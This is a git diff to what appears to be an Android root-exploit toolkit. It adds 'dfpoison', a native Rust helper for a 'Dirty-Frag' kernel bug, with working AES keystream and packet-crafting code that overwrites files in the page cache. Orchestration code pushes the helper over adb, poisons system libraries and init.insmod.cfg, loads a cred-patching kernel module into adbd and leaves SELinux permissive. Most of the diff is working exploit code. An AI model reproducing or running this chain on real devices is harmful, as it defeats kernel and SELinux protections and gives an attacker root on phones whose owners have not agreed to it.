diff --git a/.gitignore b/.gitignore index 599ccf2..c4287b2 100644 --- a/.gitignore +++ b/.gitignore @@ -9,3 +9,6 @@ __pycache__/ # Rust build output (fuguquest) rust/target/ fuguquest.zip + +# native agent build output +agent/target/ diff --git a/README.md b/README.md index 51e7065..28e0c61 100644 --- a/README.md +++ b/README.md @@ -117,7 +117,13 @@ Key optimization: **diff-injection** — the carrier is the *real* module with a - `targets/*.json` — per-firmware constants/offsets/paths (named after the OTA zip) - `targets//` — that firmware's gathered binaries (carrier `.ko`, cfg, cred carrier on Q3) - `asm/*.S.tmpl` — reference asm the Rust emitters mirror (no longer used at runtime) -- `java/Stager.java`, `java/Writer.java` → `e2e.dex` — firmware-independent Dirty-Frag primitives +- `agent/` — native aarch64 `dfpoison` helper (dep-free Rust, bionic externs) that does the hot-path + page-cache poison with ~ms startup instead of a Java Writer JVM (~0.6s ART cold start). Prebuilt + + committed as `./dfpoison` and embedded in `fuguquest`; rebuild with + `cd agent && cargo build --release --target aarch64-linux-android` (needs the NDK linker — see + `agent/.cargo/config.toml`) then `cp agent/target/aarch64-linux-android/release/dfpoison ./dfpoison`. +- `java/Stager.java`, `java/Writer.java` → `e2e.dex` — Dirty-Frag SA stager (Java, holds the SA) + + Writer (still used by the merged flow and post-ex reverts) - `postex/…` — the root payload (embedded in the binary) ## Adding a new firmware diff --git a/agent/.cargo/config.toml b/agent/.cargo/config.toml new file mode 100644 index 0000000..8f2bbd2 --- /dev/null +++ b/agent/.cargo/config.toml @@ -0,0 +1,2 @@ +[target.aarch64-linux-android] +linker = "/home/henry/Tools/android-sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang" diff --git a/agent/Cargo.lock b/agent/Cargo.lock new file mode 100644 index 0000000..404ddad --- /dev/null +++ b/agent/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "dfpoison" +version = "1.0.0" diff --git a/agent/Cargo.toml b/agent/Cargo.toml new file mode 100644 index 0000000..732c5c5 --- /dev/null +++ b/agent/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "dfpoison" +version = "1.0.0" +edition = "2021" + +[[bin]] +name = "dfpoison" +path = "src/main.rs" + +[profile.release] +opt-level = 3 +lto = true +strip = true +panic = "abort" diff --git a/agent/src/aes.rs b/agent/src/aes.rs new file mode 100644 index 0000000..bb7d73f --- /dev/null +++ b/agent/src/aes.rs @@ -0,0 +1,116 @@ +// Self-contained AES-128 (FIPS-197) for the Dirty-Frag keystream. Matches the pure-Python fallback +// in the old orchestrate.py (and pycryptodome). Only the first keystream byte is ever needed. +#![allow(dead_code)] + +const SBOX: [u8; 256] = { + // computed at compile time from the standard AES S-box hex + let hex = *b"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0\ +b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275\ +09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf\ +d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2\ +cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb\ +e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08\ +ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e\ +e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16"; + let mut s = [0u8; 256]; + let mut i = 0; + while i < 256 { + let hi = from_hex(hex[i * 2]); + let lo = from_hex(hex[i * 2 + 1]); + s[i] = (hi << 4) | lo; + i += 1; + } + s +}; + +const fn from_hex(c: u8) -> u8 { + match c { + b'0'..=b'9' => c - b'0', + b'a'..=b'f' => c - b'a' + 10, + _ => 0, + } +} + +const RCON: [u8; 10] = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]; + +fn xt(a: u8) -> u8 { if a & 0x80 != 0 { (((a as u16) << 1) as u8) ^ 0x1b } else { a << 1 } } + +pub struct Aes128 { rk: [[u8; 4]; 44] } + +impl Aes128 { + pub fn new(key: &[u8; 16]) -> Self { + let mut w = [[0u8; 4]; 44]; + for i in 0..4 { w[i] = [key[i*4], key[i*4+1], key[i*4+2], key[i*4+3]]; } + for i in 4..44 { + let mut t = w[i-1]; + if i % 4 == 0 { + t = [t[1], t[2], t[3], t[0]]; + for b in t.iter_mut() { *b = SBOX[*b as usize]; } + t[0] ^= RCON[i/4 - 1]; + } + for j in 0..4 { w[i][j] = w[i-4][j] ^ t[j]; } + } + Aes128 { rk: w } + } + + /// Encrypt one 16-byte block (ECB). + pub fn encrypt(&self, blk: &[u8; 16]) -> [u8; 16] { + // state as columns: s[c][j] + let mut s = [[0u8; 4]; 4]; + for c in 0..4 { for j in 0..4 { s[c][j] = blk[c*4 + j]; } } + for c in 0..4 { for j in 0..4 { s[c][j] ^= self.rk[c][j]; } } + for rnd in 1..10 { + s = self.round(s, rnd, false); + } + s = self.round(s, 10, true); + let mut out = [0u8; 16]; + for c in 0..4 { for j in 0..4 { out[c*4 + j] = s[c][j]; } } + out + } + + fn round(&self, s: [[u8; 4]; 4], rnd: usize, last: bool) -> [[u8; 4]; 4] { + // SubBytes + let mut s2 = [[0u8; 4]; 4]; + for c in 0..4 { for j in 0..4 { s2[c][j] = SBOX[s[c][j] as usize]; } } + // ShiftRows: rows[j] = [s2[c][j] for c], rotated left by j + let mut rows = [[0u8; 4]; 4]; + for j in 0..4 { for c in 0..4 { rows[j][c] = s2[c][j]; } } + for j in 0..4 { rows[j].rotate_left(j); } + // cols[c][j] = rows[j][c] + let mut cols = [[0u8; 4]; 4]; + for c in 0..4 { for j in 0..4 { cols[c][j] = rows[j][c]; } } + let mut out = [[0u8; 4]; 4]; + if !last { + for c in 0..4 { + let a = cols[c]; + out[c][0] = xt(a[0]) ^ xt(a[1]) ^ a[1] ^ a[2] ^ a[3]; + out[c][1] = a[0] ^ xt(a[1]) ^ xt(a[2]) ^ a[2] ^ a[3]; + out[c][2] = a[0] ^ a[1] ^ xt(a[2]) ^ xt(a[3]) ^ a[3]; + out[c][3] = xt(a[0]) ^ a[0] ^ a[1] ^ a[2] ^ xt(a[3]); + } + } else { + out = cols; + } + let base = rnd * 4; + for c in 0..4 { for j in 0..4 { out[c][j] ^= self.rk[base + c][j]; } } + out + } +} + +/// keystream0_fn(keymat_base): returns a closure iv(8B) -> first keystream byte, matching +/// Stager/Writer rfc4106(gcm(aes)) counter block SALT|IV|0x00000002. +pub fn keystream0(keymat_base: u8) -> impl Fn(&[u8; 8]) -> u8 { + let mut keymat = [0u8; 20]; + for i in 0..20 { keymat[i] = keymat_base.wrapping_add(i as u8); } + let mut key = [0u8; 16]; + key.copy_from_slice(&keymat[0..16]); + let salt = [keymat[16], keymat[17], keymat[18], keymat[19]]; + let aes = Aes128::new(&key); + move |iv: &[u8; 8]| { + let mut blk = [0u8; 16]; + blk[0..4].copy_from_slice(&salt); + blk[4..12].copy_from_slice(iv); + blk[12..16].copy_from_slice(&[0, 0, 0, 2]); + aes.encrypt(&blk)[0] + } +} diff --git a/agent/src/main.rs b/agent/src/main.rs new file mode 100644 index 0000000..31943c1 --- /dev/null +++ b/agent/src/main.rs @@ -0,0 +1,122 @@ +// dfpoison — native aarch64 Dirty-Frag page-cache poison (replaces the Java Writer JVMs). +// Sends attacker-keyed ESP-in-UDP to a loopback encap port whose SA was staged by the Java Stager; +// the kernel's decrypt-before-verify writes the chosen plaintext into the target file's page cache. +// No JVM (~ms startup vs ~0.6s ART cold start). Dep-free: bionic libc via hand-declared externs. +// +// usage: dfpoison ( )... +// spec = 5-byte records: u32 LE offset + u8 desired-value. Prints "wrote=N skipped=M". +#![allow(non_camel_case_types)] +mod aes; +use aes::keystream0; + +type c_int = i32; +type c_uint = u32; +type ssize_t = isize; +type size_t = usize; + +extern "C" { + fn socket(domain: c_int, ty: c_int, proto: c_int) -> c_int; + fn connect(fd: c_int, addr: *const u8, len: c_uint) -> c_int; + fn setsockopt(fd: c_int, level: c_int, name: c_int, val: *const u8, len: c_uint) -> c_int; + fn open(path: *const u8, flags: c_int) -> c_int; + fn pread(fd: c_int, buf: *mut u8, count: size_t, offset: i64) -> ssize_t; + fn sendto(fd: c_int, buf: *const u8, len: size_t, flags: c_int, addr: *const u8, alen: c_uint) -> ssize_t; + fn sendfile(out_fd: c_int, in_fd: c_int, offset: *mut i64, count: size_t) -> ssize_t; + fn close(fd: c_int) -> c_int; + fn usleep(usec: c_uint) -> c_int; +} + +const AF_INET: c_int = 2; +const SOCK_DGRAM: c_int = 2; +const SOL_SOCKET: c_int = 1; +const SO_SNDBUF: c_int = 7; +const O_RDONLY: c_int = 0; +const MSG_MORE: c_int = 0x8000; +static EMPTY: [u8; 1] = [0]; + +struct Rng(u64); +impl Rng { + fn next8(&mut self) -> [u8; 8] { + let mut x = self.0; + x ^= x >> 12; x ^= x << 25; x ^= x >> 27; + self.0 = x; + x.wrapping_mul(0x2545F4914F6CDD1D).to_le_bytes() + } +} + +fn die(m: &str) -> ! { eprintln!("dfpoison: {}", m); std::process::exit(1); } +fn hx(s: &str) -> u64 { + if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) { + u64::from_str_radix(h, 16).unwrap_or_else(|_| die("bad hex")) + } else { + s.parse().unwrap_or_else(|_| die("bad number")) + } +} + +fn main() { + let a: Vec = std::env::args().collect(); + if a.len() < 6 || (a.len() - 4) % 2 != 0 { + die("usage: dfpoison ( )..."); + } + let port = hx(&a[1]) as u16; + let spi = hx(&a[2]) as u32; + let keymat_base = hx(&a[3]) as u8; + let ks0 = keystream0(keymat_base); + + // one reusable sending socket, connected to the loopback encap port + let sk = unsafe { socket(AF_INET, SOCK_DGRAM, 0) }; + if sk < 0 { die("socket"); } + let sndbuf: c_int = 4 << 20; + unsafe { setsockopt(sk, SOL_SOCKET, SO_SNDBUF, &sndbuf as *const c_int as *const u8, 4); } + let mut sa = [0u8; 16]; + sa[0] = AF_INET as u8; // sin_family (host-endian u16 low byte) + sa[2..4].copy_from_slice(&port.to_be_bytes()); // sin_port (BE) + sa[4..8].copy_from_slice(&[127, 0, 0, 1]); // 127.0.0.1 + if unsafe { connect(sk, sa.as_ptr(), 16) } < 0 { die("connect"); } + + let mut rng = Rng(0xC0FFEE_1234_5678); + let mut wrote = 0u64; + let mut skipped = 0u64; + + let mut i = 4; + while i + 1 < a.len() { + let path = &a[i]; + let spec = std::fs::read(&a[i + 1]).unwrap_or_else(|e| die(&format!("read spec {}: {}", a[i + 1], e))); + i += 2; + let mut cpath: Vec = path.as_bytes().to_vec(); cpath.push(0); + let f = unsafe { open(cpath.as_ptr(), O_RDONLY) }; + if f < 0 { die(&format!("open {}", path)); } + let nrec = spec.len() / 5; + for k in 0..nrec { + let off = u32::from_le_bytes([spec[k*5], spec[k*5+1], spec[k*5+2], spec[k*5+3]]); + let want = spec[k*5+4]; + let mut cur = [0u8; 1]; + if unsafe { pread(f, cur.as_mut_ptr(), 1, off as i64) } != 1 { die(&format!("pread @{}", off)); } + if cur[0] == want { skipped += 1; continue; } + let need = cur[0] ^ want; + let iv = loop { let iv = rng.next8(); if ks0(&iv) == need { break iv; } }; + let mut hdr = [0u8; 16]; + hdr[0..4].copy_from_slice(&spi.to_be_bytes()); + hdr[7] = 1; + hdr[8..16].copy_from_slice(&iv); + let mut tries = 0; + loop { + let a1 = unsafe { sendto(sk, hdr.as_ptr(), 16, MSG_MORE, std::ptr::null(), 0) }; + let e1 = std::io::Error::last_os_error(); + let mut o: i64 = off as i64; + let a2 = unsafe { sendfile(sk, f, &mut o as *mut i64, 17) }; + let a3 = unsafe { sendto(sk, EMPTY.as_ptr(), 0, 0, std::ptr::null(), 0) }; + if a1 == 16 && a2 == 17 && a3 >= 0 { break; } + unsafe { sendto(sk, EMPTY.as_ptr(), 0, 0, std::ptr::null(), 0); } // flush any cork + tries += 1; + if tries > 3 { die(&format!("send failed @{} (a1={} a2={} a3={}) errno1={}", off, a1, a2, a3, e1)); } + unsafe { usleep(2000); } + } + wrote += 1; + if wrote & 63 == 0 { unsafe { usleep(1000); } } // burst cap 64 (matches Writer) + } + unsafe { close(f); } + } + unsafe { close(sk); } + println!("wrote={} skipped={}", wrote, skipped); +} diff --git a/dfpoison b/dfpoison new file mode 100755 index 0000000..16dd605 Binary files /dev/null and b/dfpoison differ diff --git a/rust/src/assets.rs b/rust/src/assets.rs index 93cc610..61d1a21 100644 --- a/rust/src/assets.rs +++ b/rust/src/assets.rs @@ -3,6 +3,9 @@ use std::path::{Path, PathBuf}; pub const E2E_DEX: &[u8] = include_bytes!("../../e2e.dex"); +// native aarch64 Dirty-Frag poison helper (replaces the Java Writer JVMs on the hot path); built +// from agent/ via `cargo build --release --target aarch64-linux-android` and copied to ../../dfpoison. +pub const DFPOISON: &[u8] = include_bytes!("../../dfpoison"); pub const POSTEX_SH: &[u8] = include_bytes!("../../postex/postex.sh"); pub const SINGULARITY_SH: &[u8] = include_bytes!("../../postex/assets/singularity_magisk.sh"); pub const SINGULARITY_APK: &[u8] = include_bytes!("../../postex/assets/singularity-Magisk.apk"); diff --git a/rust/src/orchestrate.rs b/rust/src/orchestrate.rs index 9ce6ce0..6e4e240 100644 --- a/rust/src/orchestrate.rs +++ b/rust/src/orchestrate.rs @@ -98,6 +98,30 @@ fn poison_batch(adb: &Adb, workdir: &Path, items: &[(String, Vec, String)]) die(&format!("batch poison failed: ...{}", &out.chars().rev().take(160).collect::().chars().rev().collect::())); } +/// Poison one or more files via the NATIVE dfpoison binary (no JVM), reusing the Stager's live SA. +/// items = [(device_path, spec, tag), ...]. Idempotent + retried like poison_batch. +fn dfpoison_job(adb: &Adb, workdir: &Path, port: u16, spi: u32, keymat: u8, items: &[(String, Vec, String)]) { + let mut args = format!("/data/local/tmp/dfpoison {} 0x{:x} 0x{:x}", port, spi, keymat); + let mut total = 0u64; + let mut tags = Vec::new(); + for (dev, spec, tag) in items { + let sp = write_spec(workdir, tag, spec); + adb.push(&sp.to_string_lossy(), &format!("/data/local/tmp/{}.spec", tag)); + args.push_str(&format!(" {} /data/local/tmp/{}.spec", dev, tag)); + total += (spec.len() / 5) as u64; + tags.push(tag.clone()); + } + let mut out = String::new(); + for attempt in 1..=8 { + out = adb.sh(&args); + if let Some((w, s)) = parse_ws(&out) { + if w + s == total { info(&format!("{}: wrote={} skipped={}{}", tags.join("+"), w, s, if attempt > 1 { format!(" ({} tries)", attempt) } else { String::new() })); return; } + } + if attempt < 8 { warn(&format!("dfpoison incomplete (attempt {}/8) — retrying [{}]", attempt, out.lines().last().unwrap_or("").trim())); secs(2); } + } + die(&format!("dfpoison failed: ...{}", &out.chars().rev().take(160).collect::().chars().rev().collect::())); +} + // deltas + struct offsets from the target fn deltas(t: &Target) -> (i64, i64, i64, i64) { (t.hx(&["kernel", "delta_selinux_from_anchor"]), @@ -144,7 +168,11 @@ pub fn run(t: &Target, device_override: Option<&str>, cleanup: Cleanup, verify_r info(&format!("uid={} getenforce={}", adb.sh("id -u"), before)); if before != "Enforcing" { warn(&format!("SELinux already {} (expected Enforcing)", before)); } let dex = assets::write_to(&workdir, "e2e.dex", assets::E2E_DEX); - adb.push(&dex.to_string_lossy(), "/data/local/tmp/e2e.dex"); ok("pushed e2e.dex"); + adb.push(&dex.to_string_lossy(), "/data/local/tmp/e2e.dex"); + let dfp = assets::write_to(&workdir, "dfpoison", assets::DFPOISON); + adb.push(&dfp.to_string_lossy(), "/data/local/tmp/dfpoison"); + adb.sh("chmod 755 /data/local/tmp/dfpoison"); + ok("pushed e2e.dex + dfpoison"); disable_phantom(&adb); banner("BUILD (host)"); @@ -172,7 +200,7 @@ pub fn run(t: &Target, device_override: Option<&str>, cleanup: Cleanup, verify_r let mut orig_las: Vec = Vec::new(); banner("POISON (shell -> page caches)"); - step("inject-lib + libandroid stubs (batched: one SA/JVM, 2 files)"); + step("inject-lib + libandroid stubs (native dfpoison, one SA, 2 files)"); let (eva_raw, eva_spec, cnts) = build_inject_stub(spi, kmb, port, t.hx(&[ik, "stub_gap_off"]) as u64, t.hx(&[ik, "stub_gap_size"]) as usize, t.hx(&[ik, "orig_ctor_off"]) as u64, t.hx(&[ik, "init_array_off"]) as u64, @@ -185,7 +213,7 @@ pub fn run(t: &Target, device_override: Option<&str>, cleanup: Cleanup, verify_r orig_las = adb.read_region(&t.s(&["libandroid_servers", "device_path"]), t.hx(&["libandroid_servers", "dump_off"]) as u64, las_raw.len()); } info(&format!("inject stub {}B (carrier IVs={}, cfg IVs={}); libas {}B", eva_raw.len(), cnts[0], cnts[1], las_raw.len())); - poison_batch(&adb, &workdir, &[ + dfpoison_job(&adb, &workdir, port, spi, kmb, &[ (inj_dev_path(t), eva_spec, "inject".into()), (t.s(&["libandroid_servers", "device_path"]), las_spec, "libas".into())]); @@ -220,7 +248,9 @@ pub fn run(t: &Target, device_override: Option<&str>, cleanup: Cleanup, verify_r } else { err(&format!("getenforce={} (expected Permissive) — chain did not complete", after)); } - stager.stop(); ok("stager stopped (SA reaped)"); + // adb-root's cfg poison also uses dfpoison against the Stager's SA, so keep it alive until then. + let adb_root = cleanup == Cleanup::AdbRoot; + if !adb_root { stager.stop(); ok("stager stopped (SA reaped)"); } match cleanup { Cleanup::Reboot => { @@ -247,8 +277,8 @@ pub fn run(t: &Target, device_override: Option<&str>, cleanup: Cleanup, verify_r info("READY FOR POST-EX: run with --postex"); } Cleanup::Postex => run_postex_twocarrier(t, &adb, &workdir, ik, eva_stub_len, &orig_las, skip_magisk), - Cleanup::AdbRoot => run_adbroot_twocarrier(t, &adb, &workdir), - Cleanup::NoRestore => warn("--no-restore: device left fully poisoned & permissive"), + Cleanup::AdbRoot => { run_adbroot_twocarrier(t, &adb, &workdir, port, spi, kmb); stager.stop(); ok("stager stopped (SA reaped)"); } + Cleanup::NoRestore => { stager.stop(); warn("--no-restore: device left fully poisoned & permissive"); } } } @@ -291,7 +321,7 @@ fn run_postex_twocarrier(t: &Target, adb: &Adb, workdir: &Path, ik: &str, eva_st if ge == "Enforcing" { win(&format!("final getenforce={} (Magisk policy live if Enforcing)", ge)); } else { warn(&format!("final getenforce={}", ge)); } } -fn run_adbroot_twocarrier(t: &Target, adb: &Adb, workdir: &Path) { +fn run_adbroot_twocarrier(t: &Target, adb: &Adb, workdir: &Path, port: u16, spi: u32, keymat: u8) { banner("ADB-ROOT (cred-patch adbd -> root adb shells, no Magisk)"); if adb.sh("getenforce") != "Permissive" { die("not permissive — base chain failed; aborting adb-root"); } let pid = adbd_pid(adb).unwrap_or_else(|| die("could not find adbd pid")); @@ -300,8 +330,9 @@ fn run_adbroot_twocarrier(t: &Target, adb: &Adb, workdir: &Path) { let (credko, cmsg) = build_cred(t, cc, pid.parse().unwrap_or(0), true); info(&cmsg); push_bytes(adb, workdir, "uv.ko", &credko, "/data/local/tmp/uv.ko"); - step("Poisoning init.insmod.cfg -> insmod uv.ko (shell, permissive)"); - poison_cfg_direct(t, adb, workdir, "/data/local/tmp/uv.ko"); + step("Poisoning init.insmod.cfg -> insmod uv.ko (native dfpoison, Stager SA)"); + let cfg_spec = cfg_pe_spec(t, "/data/local/tmp/uv.ko"); + dfpoison_job(adb, workdir, port, spi, keymat, &[(t.s(&["cfg", "device_path"]), cfg_spec, "cfg_pe".into())]); step("ctl.start insmod_sh -> loads uv.ko -> cred-patch adbd"); adb.sh(&format!("setprop ctl.start {}", t.s(&["services", "insmod_sh"]))); let mut rooted = false; @@ -312,14 +343,19 @@ fn run_adbroot_twocarrier(t: &Target, adb: &Adb, workdir: &Path) { warn("residue (needs reboot): carrier/cfg page-cache poison + loaded modules (exit neutralized, rmmod-safe)"); } -/// shell-direct cfg poison over the whole inject region (permissive, or shell-readable cfg). -fn poison_cfg_direct(t: &Target, adb: &Adb, workdir: &Path, insmod_path: &str) { +/// Build the cfg page-cache poison spec over the whole inject region for an insmod line -> insmod_path. +fn cfg_pe_spec(t: &Target, insmod_path: &str) -> Vec { let cfg_orig = read_local(&t.local_path(&["cfg", "local_cfg"])); let (_c, cfg_want) = build_cfg(cfg_orig, insmod_path, t.hx(&["cfg", "inject_off"]) as usize, t.hx(&["cfg", "inject_len"]) as usize).unwrap_or_else(|e| die(&e)); let off = t.hx(&["cfg", "inject_off"]) as usize; let ln = t.hx(&["cfg", "inject_len"]) as usize; let mut spec = Vec::new(); for i in off..off + ln { spec.extend_from_slice(&(i as u32).to_le_bytes()); spec.push(cfg_want[i]); } - poison(adb, workdir, &t.s(&["cfg", "device_path"]), &spec, "cfg_pe"); + spec +} + +/// shell-direct cfg poison via the Java Writer (used by --postex, off the hot path). +fn poison_cfg_direct(t: &Target, adb: &Adb, workdir: &Path, insmod_path: &str) { + poison(adb, workdir, &t.s(&["cfg", "device_path"]), &cfg_pe_spec(t, insmod_path), "cfg_pe"); } fn stage_postex_assets(adb: &Adb, workdir: &Path) {